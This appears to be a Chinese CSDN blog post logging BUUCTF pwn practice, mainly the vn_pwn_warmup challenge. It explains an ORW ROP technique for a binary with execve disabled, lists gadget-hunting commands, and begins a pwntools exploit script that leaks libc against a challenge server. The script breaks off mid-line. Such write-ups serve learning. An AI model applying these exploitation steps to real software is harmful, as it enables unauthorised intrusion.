buuctf刷题记录（一）

最新推荐文章于 2022-07-04 22:57:08 发布

瞬间”Heart Attack

最新推荐文章于 2022-07-04 22:57:08 发布

阅读量395

点赞数

分类专栏： buuctf

本文链接：https://blog.csdn.net/qq_43571856/article/details/107536127

版权

这篇博客记录了作者在buuctf刷题过程中的经验，涉及了多个pwn题目，包括vn_pwn_warmup、others_babystack和vn_pwn babypwn1等。在面对开启NX和PIE保护，以及execve禁用的情况，作者学习了如何利用orw技巧和ROP链来实现shell的获取。在vn_pwn_warmup中，通过puts地址获取libc基址，并利用bss段的pop_di gadget；在others_babystack中，利用栈溢出和puts泄露信息；在vn_pwn babypwn1中，利用srop和libc的bss段进行栈迁移。

摘要由CSDN通过智能技术生成

vn_pwn_warmup

在这里插入图片描述
开了nx和pie

这里给了puts的地址，可以得到libc的基地址

只有这里有个溢出点能溢出0x10个字节
原本的想法是直接用one_gadget来获得shell
但是一直都打不通，由于开了pie也没法本地调试
后来看了大佬的题解，才知道这个题禁用了execve。现在也不知道从哪里看出来的。
对于这种禁用execve或者没法使用system直接getshell的题。
我们可以使用orw来做。
可以把paylaod写到这里
在这里插入图片描述
然后在跳到这里执行
但是这个题没法用题目文件里的rop_gadget，看了题解才知道原来 libc库里有我们需要的bss，pop_di。用ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”获取。
get到一个新的知识点。

所以先用read写入flag到bss段，然后orw打印flag
在第一个rop结束之后，栈正好恢复到上一个函数，因此可以继续执行rop

exp

#coding:utf-8
from pwn import*
context(log_level = 'debug')
io = remote ('node3.buuoj.cn',28559)
#io = process('/media/psf/CTF/vn_pwn_warmup')
elf = ELF('/media/psf/CTF/vn_pwn_warmup')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/media/psf/CTF/libc/1664libc-2.23.so')
io.recvuntil("0x")

puts_addr=int(io.recv(12),16)
libc_base=puts_addr-libc.sym['puts']
print hex(libc_base